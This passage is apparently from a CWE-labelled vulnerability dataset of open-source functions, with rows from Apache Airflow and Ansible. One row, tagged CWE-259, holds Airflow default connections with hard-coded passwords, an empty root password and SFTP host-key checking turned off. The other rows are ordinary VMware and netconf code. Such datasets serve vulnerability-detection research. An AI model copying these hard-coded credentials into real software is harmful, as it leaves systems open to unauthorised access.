        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=""/tmp/sqlite_default.db"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sqoop_default"",
            conn_type=""sqoop"",
            host=""rdbms"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='yandexcloud_default',
            conn_type='yandexcloud',
            schema='default',
        ),
        session
    )",CWE-259,apache/airflow,f8ff217e2f2152bbb9fc701ff4c0b6eb447ad65c,"def create_default_connections(session=None):
    """"""
    Create default Airflow connections.
    """"""
    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            extra='''{""account_name"": ""<ACCOUNT_NAME>"", ""account_key"": ""<ACCOUNT_KEY>"",
                      ""account_url"": ""<ACCOUNT_URL>"", ""vm_publisher"": ""<VM_PUBLISHER>"",
                      ""vm_offer"": ""<VM_OFFER>"", ""vm_sku"": ""<VM_SKU>"",
                      ""vm_version"": ""<VM_VERSION>"", ""node_agent_sku_id"": ""<NODE_AGENT_SKU_ID>""}'''
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_container_instances_default"",
            conn_type=""azure_container_instances"",
            extra='{""tenantId"": ""<TENANT>"", ""subscriptionId"": ""<SUBSCRIPTION ID>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='azure_data_explorer_default', conn_type='azure_data_explorer',
            host='https://<CLUSTER>.kusto.windows.net',
            extra='''{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}'''
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Slave nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='kubernetes_default',
            conn_type='kubernetes',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='kylin_default',
            conn_type='kylin',
            host='localhost',
            port=7070,
            login=""ADMIN"",
            password=""KYLIN""
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""livy_default"",
            conn_type=""livy"",
            host=""livy"",
            port=8998
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mongo_default"",
            conn_type=""mongo"",
            host=""mongo"",
            port=27017
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""qubole_default"",
            conn_type=""qubole"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=""/tmp/sqlite_default.db"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""sqoop_default"",
            conn_type=""sqoop"",
            host=""rdbms"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session
    )
    merge_conn(
        Connection(
            conn_id='yandexcloud_default',
            conn_type='yandexcloud',
            schema='default',
        ),
        session
    )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/vmware/vmware_guest.py,0,"def deploy_vm(self):
        # https://github.com/vmware/pyvmomi-community-samples/blob/master/samples/clone_vm.py
        # https://www.vmware.com/support/developer/vc-sdk/visdk25pubs/ReferenceGuide/vim.vm.CloneSpec.html
        # https://www.vmware.com/support/developer/vc-sdk/visdk25pubs/ReferenceGuide/vim.vm.ConfigSpec.html
        # https://www.vmware.com/support/developer/vc-sdk/visdk41pubs/ApiReference/vim.vm.RelocateSpec.html

        # FIXME:
        #   - static IPs

        self.folder = self.params.get('folder', None)
        if self.folder is None:
            self.module.fail_json(msg=""Folder is required parameter while deploying new virtual machine"")

        # Prepend / if it was missing from the folder path, also strip trailing slashes
        if not self.folder.startswith('/'):
            self.folder = '/%(folder)s' % self.params
        self.folder = self.folder.rstrip('/')

        datacenter = self.cache.find_obj(self.content, [vim.Datacenter], self.params['datacenter'])
        if datacenter is None:
            self.module.fail_json(msg='No datacenter named %(datacenter)s was found' % self.params)

        dcpath = compile_folder_path_for_object(datacenter)

        # Nested folder does not have trailing /
        if not dcpath.endswith('/'):
            dcpath += '/'

        # Check for full path first in case it was already supplied
        if (self.folder.startswith(dcpath + self.params['datacenter'] + '/vm') or
                self.folder.startswith(dcpath + '/' + self.params['datacenter'] + '/vm')):
            fullpath = self.folder
        elif self.folder.startswith('/vm/') or self.folder == '/vm':
            fullpath = ""%s%s%s"" % (dcpath, self.params['datacenter'], self.folder)
        elif self.folder.startswith('/'):
            fullpath = ""%s%s/vm%s"" % (dcpath, self.params['datacenter'], self.folder)
        else:
            fullpath = ""%s%s/vm/%s"" % (dcpath, self.params['datacenter'], self.folder)

        f_obj = self.content.searchIndex.FindByInventoryPath(fullpath)

        # abort if no strategy was successful
        if f_obj is None:
            # Add some debugging values in failure.
            details = {
                'datacenter': datacenter.name,
                'datacenter_path': dcpath,
                'folder': self.folder,
                'full_search_path': fullpath,
            }
            self.module.fail_json(msg='No folder %s matched in the search path : %s' % (self.folder, fullpath),
                                  details=details)

        destfolder = f_obj

        if self.params['template']:
            vm_obj = self.get_vm_or_template(template_name=self.params['template'])
            if vm_obj is None:
                self.module.fail_json(msg=""Could not find a template named %(template)s"" % self.params)
        else:
            vm_obj = None

        # always get a resource_pool
        resource_pool = self.get_resource_pool()

        # set the destination datastore for VM & disks
        if self.params['datastore']:
            # Give precedence to datastore value provided by user
            # User may want to deploy VM to specific datastore.
            datastore_name = self.params['datastore']
            # Check if user has provided datastore cluster first
            datastore_cluster = self.cache.find_obj(self.content, [vim.StoragePod], datastore_name)
            if datastore_cluster:
                # If user specified datastore cluster so get recommended datastore
                datastore_name = self.get_recommended_datastore(datastore_cluster_obj=datastore_cluster)
            # Check if get_recommended_datastore or user specified datastore exists or not
            datastore = self.cache.find_obj(self.content, [vim.Datastore], datastore_name)
        else:
            (datastore, datastore_name) = self.select_datastore(vm_obj)

        self.configspec = vim.vm.ConfigSpec()
        self.configspec.deviceChange = []
        # create the relocation spec
        self.relospec = vim.vm.RelocateSpec()
        self.relospec.deviceChange = []
        self.configure_guestid(vm_obj=vm_obj, vm_creation=True)
        self.configure_cpu_and_memory(vm_obj=vm_obj, vm_creation=True)
        self.configure_hardware_params(vm_obj=vm_obj)
        self.configure_resource_alloc_info(vm_obj=vm_obj)
        self.configure_vapp_properties(vm_obj=vm_obj)
        self.configure_disks(vm_obj=vm_obj)
        self.configure_network(vm_obj=vm_obj)
        self.configure_cdrom(vm_obj=vm_obj)

        # Find if we need network customizations (find keys in dictionary that requires customizations)
        network_changes = False
        for nw in self.params['networks']:
            for key in nw:
                # We don't need customizations for these keys
                if key == 'type' and nw['type'] == 'dhcp':
                    network_changes = True
                    break
                if key not in ('device_type', 'mac', 'name', 'vlan', 'type', 'start_connected'):
                    network_changes = True
                    break

        if len(self.params['customization']) > 0 or network_changes or self.params.get('customization_spec') is not None:
            self.customize_vm(vm_obj=vm_obj)

        clonespec = None
        clone_method = None
        try:
            if self.params['template']:
                # Only select specific host when ESXi hostname is provided
                if self.params['esxi_hostname']:
                    self.relospec.host = self.select_host()
                self.relospec.datastore = datastore

                # Convert disk present in template if is set
                if self.params['convert']:
                    for device in vm_obj.config.hardware.device:
                        if isinstance(device, vim.vm.device.VirtualDisk):
                            disk_locator = vim.vm.RelocateSpec.DiskLocator()
                            disk_locator.diskBackingInfo = vim.vm.device.VirtualDisk.FlatVer2BackingInfo()
                            if self.params['convert'] in ['thin']:
                                disk_locator.diskBackingInfo.thinProvisioned = True
                            if self.params['convert'] in ['eagerzeroedthick']:
                                disk_locator.diskBackingInfo.eagerlyScrub = True
                            if self.params['convert'] in ['thick']:
                                disk_locator.diskBackingInfo.diskMode = ""persistent""
                            disk_locator.diskId = device.key
                            disk_locator.datastore = datastore
                            self.relospec.disk.append(disk_locator)

                # https://www.vmware.com/support/developer/vc-sdk/visdk41pubs/ApiReference/vim.vm.RelocateSpec.html
                # > pool: For a clone operation from a template to a virtual machine, this argument is required.
                self.relospec.pool = resource_pool
                linked_clone = self.params.get('linked_clone')
                snapshot_src = self.params.get('snapshot_src', None)
                if linked_clone:
                    if snapshot_src is not None:
                        self.relospec.diskMoveType = vim.vm.RelocateSpec.DiskMoveOptions.createNewChildDiskBacking
                    else:
                        self.module.fail_json(msg=""Parameter 'linked_src' and 'snapshot_src' are""
                                                  "" required together for linked clone operation."")

                clonespec = vim.vm.CloneSpec(template=self.params['is_template'], location=self.relospec)
                if self.customspec:
                    clonespec.customization = self.customspec

                if snapshot_src is not None:
                    if vm_obj.snapshot is None:
                        self.module.fail_json(msg=""No snapshots present for virtual machine or template [%(template)s]"" % self.params)
                    snapshot = self.get_snapshots_by_name_recursively(snapshots=vm_obj.snapshot.rootSnapshotList,
                                                                      snapname=snapshot_src)
                    if len(snapshot) != 1:
                        self.module.fail_json(msg='virtual machine ""%(template)s"" does not contain'
                                                  ' snapshot named ""%(snapshot_src)s""' % self.params)

                    clonespec.snapshot = snapshot[0].snapshot

                clonespec.config = self.configspec
                clone_method = 'Clone'
                try:
                    task = vm_obj.Clone(folder=destfolder, name=self.params['name'], spec=clonespec)
                except vim.fault.NoPermission as e:
                    self.module.fail_json(msg=""Failed to clone virtual machine %s to folder %s ""
                                              ""due to permission issue: %s"" % (self.params['name'],
                                                                               destfolder,
                                                                               to_native(e.msg)))
                self.change_detected = True
            else:
                # ConfigSpec require name for VM creation
                self.configspec.name = self.params['name']
                self.configspec.files = vim.vm.FileInfo(logDirectory=None,
                                                        snapshotDirectory=None,
                                                        suspendDirectory=None,
                                                        vmPathName=""["" + datastore_name + ""]"")

                clone_method = 'CreateVM_Task'
                try:
                    task = destfolder.CreateVM_Task(config=self.configspec, pool=resource_pool)
                except vmodl.fault.InvalidRequest as e:
                    self.module.fail_json(msg=""Failed to create virtual machine due to invalid configuration ""
                                              ""parameter %s"" % to_native(e.msg))
                except vim.fault.RestrictedVersion as e:
                    self.module.fail_json(msg=""Failed to create virtual machine due to ""
                                              ""product versioning restrictions: %s"" % to_native(e.msg))
                self.change_detected = True
            self.wait_for_task(task)
        except TypeError as e:
            self.module.fail_json(msg=""TypeError was returned, please ensure to give correct inputs. %s"" % to_text(e))

        if task.info.state == 'error':
            # https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2021361
            # https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2173

            # provide these to the user for debugging
            clonespec_json = serialize_spec(clonespec)
            configspec_json = serialize_spec(self.configspec)
            kwargs = {
                'changed': self.change_applied,
                'failed': True,
                'msg': task.info.error.msg,
                'clonespec': clonespec_json,
                'configspec': configspec_json,
                'clone_method': clone_method
            }

            return kwargs
        else:
            # set annotation
            vm = task.info.result
            if self.params['annotation']:
                annotation_spec = vim.vm.ConfigSpec()
                annotation_spec.annotation = str(self.params['annotation'])
                task = vm.ReconfigVM_Task(annotation_spec)
                self.wait_for_task(task)
                if task.info.state == 'error':
                    return {'changed': self.change_applied, 'failed': True, 'msg': task.info.error.msg, 'op': 'annotation'}

            if self.params['customvalues']:
                vm_custom_spec = vim.vm.ConfigSpec()
                self.customize_customvalues(vm_obj=vm, config_spec=vm_custom_spec)
                task = vm.ReconfigVM_Task(vm_custom_spec)
                self.wait_for_task(task)
                if task.info.state == 'error':
                    return {'changed': self.change_applied, 'failed': True, 'msg': task.info.error.msg, 'op': 'customvalues'}

            if self.params['wait_for_ip_address'] or self.params['wait_for_customization'] or self.params['state'] in ['poweredon', 'restarted']:
                set_vm_power_state(self.content, vm, 'poweredon', force=False)

                if self.params['wait_for_ip_address']:
                    wait_for_vm_ip(self.content, vm, self.params['wait_for_ip_address_timeout'])

                if self.params['wait_for_customization']:
                    is_customization_ok = self.wait_for_customization(vm=vm, timeout=self.params['wait_for_customization_timeout'])
                    if not is_customization_ok:
                        vm_facts = self.gather_facts(vm)
                        return {'changed': self.change_applied, 'failed': True, 'instance': vm_facts, 'op': 'customization'}

            vm_facts = self.gather_facts(vm)
            return {'changed': self.change_applied, 'failed': False, 'instance': vm_facts}",,ansible/ansible,34ecd6cb25258116d394ffcbaf9ec29504a3919a,"def deploy_vm(self):
        # https://github.com/vmware/pyvmomi-community-samples/blob/master/samples/clone_vm.py
        # https://www.vmware.com/support/developer/vc-sdk/visdk25pubs/ReferenceGuide/vim.vm.CloneSpec.html
        # https://www.vmware.com/support/developer/vc-sdk/visdk25pubs/ReferenceGuide/vim.vm.ConfigSpec.html
        # https://www.vmware.com/support/developer/vc-sdk/visdk41pubs/ApiReference/vim.vm.RelocateSpec.html

        # FIXME:
        #   - static IPs

        self.folder = self.params.get('folder', None)
        if self.folder is None:
            self.module.fail_json(msg=""Folder is required parameter while deploying new virtual machine"")

        # Prepend / if it was missing from the folder path, also strip trailing slashes
        if not self.folder.startswith('/'):
            self.folder = '/%(folder)s' % self.params
        self.folder = self.folder.rstrip('/')

        datacenter = self.cache.find_obj(self.content, [vim.Datacenter], self.params['datacenter'])
        if datacenter is None:
            self.module.fail_json(msg='No datacenter named %(datacenter)s was found' % self.params)

        dcpath = compile_folder_path_for_object(datacenter)

        # Nested folder does not have trailing /
        if not dcpath.endswith('/'):
            dcpath += '/'

        # Check for full path first in case it was already supplied
        if (self.folder.startswith(dcpath + self.params['datacenter'] + '/vm') or
                self.folder.startswith(dcpath + '/' + self.params['datacenter'] + '/vm')):
            fullpath = self.folder
        elif self.folder.startswith('/vm/') or self.folder == '/vm':
            fullpath = ""%s%s%s"" % (dcpath, self.params['datacenter'], self.folder)
        elif self.folder.startswith('/'):
            fullpath = ""%s%s/vm%s"" % (dcpath, self.params['datacenter'], self.folder)
        else:
            fullpath = ""%s%s/vm/%s"" % (dcpath, self.params['datacenter'], self.folder)

        f_obj = self.content.searchIndex.FindByInventoryPath(fullpath)

        # abort if no strategy was successful
        if f_obj is None:
            # Add some debugging values in failure.
            details = {
                'datacenter': datacenter.name,
                'datacenter_path': dcpath,
                'folder': self.folder,
                'full_search_path': fullpath,
            }
            self.module.fail_json(msg='No folder %s matched in the search path : %s' % (self.folder, fullpath),
                                  details=details)

        destfolder = f_obj

        if self.params['template']:
            vm_obj = self.get_vm_or_template(template_name=self.params['template'])
            if vm_obj is None:
                self.module.fail_json(msg=""Could not find a template named %(template)s"" % self.params)
        else:
            vm_obj = None

        # always get a resource_pool
        resource_pool = self.get_resource_pool()

        # set the destination datastore for VM & disks
        if self.params['datastore']:
            # Give precedence to datastore value provided by user
            # User may want to deploy VM to specific datastore.
            datastore_name = self.params['datastore']
            # Check if user has provided datastore cluster first
            datastore_cluster = self.cache.find_obj(self.content, [vim.StoragePod], datastore_name)
            if datastore_cluster:
                # If user specified datastore cluster so get recommended datastore
                datastore_name = self.get_recommended_datastore(datastore_cluster_obj=datastore_cluster)
            # Check if get_recommended_datastore or user specified datastore exists or not
            datastore = self.cache.find_obj(self.content, [vim.Datastore], datastore_name)
        else:
            (datastore, datastore_name) = self.select_datastore(vm_obj)

        self.configspec = vim.vm.ConfigSpec()
        self.configspec.deviceChange = []
        # create the relocation spec
        self.relospec = vim.vm.RelocateSpec()
        self.relospec.deviceChange = []
        self.configure_guestid(vm_obj=vm_obj, vm_creation=True)
        self.configure_cpu_and_memory(vm_obj=vm_obj, vm_creation=True)
        self.configure_hardware_params(vm_obj=vm_obj)
        self.configure_resource_alloc_info(vm_obj=vm_obj)
        self.configure_vapp_properties(vm_obj=vm_obj)
        self.configure_disks(vm_obj=vm_obj)
        self.configure_network(vm_obj=vm_obj)
        self.configure_cdrom(vm_obj=vm_obj)

        # Find if we need network customizations (find keys in dictionary that requires customizations)
        network_changes = False
        for nw in self.params['networks']:
            for key in nw:
                # We don't need customizations for these keys
                if key not in ('device_type', 'mac', 'name', 'vlan', 'type', 'start_connected'):
                    network_changes = True
                    break

        if len(self.params['customization']) > 0 or network_changes or self.params.get('customization_spec') is not None:
            self.customize_vm(vm_obj=vm_obj)

        clonespec = None
        clone_method = None
        try:
            if self.params['template']:
                # Only select specific host when ESXi hostname is provided
                if self.params['esxi_hostname']:
                    self.relospec.host = self.select_host()
                self.relospec.datastore = datastore

                # Convert disk present in template if is set
                if self.params['convert']:
                    for device in vm_obj.config.hardware.device:
                        if isinstance(device, vim.vm.device.VirtualDisk):
                            disk_locator = vim.vm.RelocateSpec.DiskLocator()
                            disk_locator.diskBackingInfo = vim.vm.device.VirtualDisk.FlatVer2BackingInfo()
                            if self.params['convert'] in ['thin']:
                                disk_locator.diskBackingInfo.thinProvisioned = True
                            if self.params['convert'] in ['eagerzeroedthick']:
                                disk_locator.diskBackingInfo.eagerlyScrub = True
                            if self.params['convert'] in ['thick']:
                                disk_locator.diskBackingInfo.diskMode = ""persistent""
                            disk_locator.diskId = device.key
                            disk_locator.datastore = datastore
                            self.relospec.disk.append(disk_locator)

                # https://www.vmware.com/support/developer/vc-sdk/visdk41pubs/ApiReference/vim.vm.RelocateSpec.html
                # > pool: For a clone operation from a template to a virtual machine, this argument is required.
                self.relospec.pool = resource_pool
                linked_clone = self.params.get('linked_clone')
                snapshot_src = self.params.get('snapshot_src', None)
                if linked_clone:
                    if snapshot_src is not None:
                        self.relospec.diskMoveType = vim.vm.RelocateSpec.DiskMoveOptions.createNewChildDiskBacking
                    else:
                        self.module.fail_json(msg=""Parameter 'linked_src' and 'snapshot_src' are""
                                                  "" required together for linked clone operation."")

                clonespec = vim.vm.CloneSpec(template=self.params['is_template'], location=self.relospec)
                if self.customspec:
                    clonespec.customization = self.customspec

                if snapshot_src is not None:
                    if vm_obj.snapshot is None:
                        self.module.fail_json(msg=""No snapshots present for virtual machine or template [%(template)s]"" % self.params)
                    snapshot = self.get_snapshots_by_name_recursively(snapshots=vm_obj.snapshot.rootSnapshotList,
                                                                      snapname=snapshot_src)
                    if len(snapshot) != 1:
                        self.module.fail_json(msg='virtual machine ""%(template)s"" does not contain'
                                                  ' snapshot named ""%(snapshot_src)s""' % self.params)

                    clonespec.snapshot = snapshot[0].snapshot

                clonespec.config = self.configspec
                clone_method = 'Clone'
                try:
                    task = vm_obj.Clone(folder=destfolder, name=self.params['name'], spec=clonespec)
                except vim.fault.NoPermission as e:
                    self.module.fail_json(msg=""Failed to clone virtual machine %s to folder %s ""
                                              ""due to permission issue: %s"" % (self.params['name'],
                                                                               destfolder,
                                                                               to_native(e.msg)))
                self.change_detected = True
            else:
                # ConfigSpec require name for VM creation
                self.configspec.name = self.params['name']
                self.configspec.files = vim.vm.FileInfo(logDirectory=None,
                                                        snapshotDirectory=None,
                                                        suspendDirectory=None,
                                                        vmPathName=""["" + datastore_name + ""]"")

                clone_method = 'CreateVM_Task'
                try:
                    task = destfolder.CreateVM_Task(config=self.configspec, pool=resource_pool)
                except vmodl.fault.InvalidRequest as e:
                    self.module.fail_json(msg=""Failed to create virtual machine due to invalid configuration ""
                                              ""parameter %s"" % to_native(e.msg))
                except vim.fault.RestrictedVersion as e:
                    self.module.fail_json(msg=""Failed to create virtual machine due to ""
                                              ""product versioning restrictions: %s"" % to_native(e.msg))
                self.change_detected = True
            self.wait_for_task(task)
        except TypeError as e:
            self.module.fail_json(msg=""TypeError was returned, please ensure to give correct inputs. %s"" % to_text(e))

        if task.info.state == 'error':
            # https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2021361
            # https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2173

            # provide these to the user for debugging
            clonespec_json = serialize_spec(clonespec)
            configspec_json = serialize_spec(self.configspec)
            kwargs = {
                'changed': self.change_applied,
                'failed': True,
                'msg': task.info.error.msg,
                'clonespec': clonespec_json,
                'configspec': configspec_json,
                'clone_method': clone_method
            }

            return kwargs
        else:
            # set annotation
            vm = task.info.result
            if self.params['annotation']:
                annotation_spec = vim.vm.ConfigSpec()
                annotation_spec.annotation = str(self.params['annotation'])
                task = vm.ReconfigVM_Task(annotation_spec)
                self.wait_for_task(task)
                if task.info.state == 'error':
                    return {'changed': self.change_applied, 'failed': True, 'msg': task.info.error.msg, 'op': 'annotation'}

            if self.params['customvalues']:
                vm_custom_spec = vim.vm.ConfigSpec()
                self.customize_customvalues(vm_obj=vm, config_spec=vm_custom_spec)
                task = vm.ReconfigVM_Task(vm_custom_spec)
                self.wait_for_task(task)
                if task.info.state == 'error':
                    return {'changed': self.change_applied, 'failed': True, 'msg': task.info.error.msg, 'op': 'customvalues'}

            if self.params['wait_for_ip_address'] or self.params['wait_for_customization'] or self.params['state'] in ['poweredon', 'restarted']:
                set_vm_power_state(self.content, vm, 'poweredon', force=False)

                if self.params['wait_for_ip_address']:
                    wait_for_vm_ip(self.content, vm, self.params['wait_for_ip_address_timeout'])

                if self.params['wait_for_customization']:
                    is_customization_ok = self.wait_for_customization(vm=vm, timeout=self.params['wait_for_customization_timeout'])
                    if not is_customization_ok:
                        vm_facts = self.gather_facts(vm)
                        return {'changed': self.change_applied, 'failed': True, 'instance': vm_facts, 'op': 'customization'}

            vm_facts = self.gather_facts(vm)
            return {'changed': self.change_applied, 'failed': False, 'instance': vm_facts}"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/netconf/junos.py,0,"def load_configuration(self, *args, **kwargs):
        """"""Loads given configuration on device
        :format: Format of configuration (xml, text, set)
        :action: Action to be performed (merge, replace, override, update)
        :target: is the name of the configuration datastore being edited
        :config: is the configuration in string format.""""""
        if kwargs.get('config'):
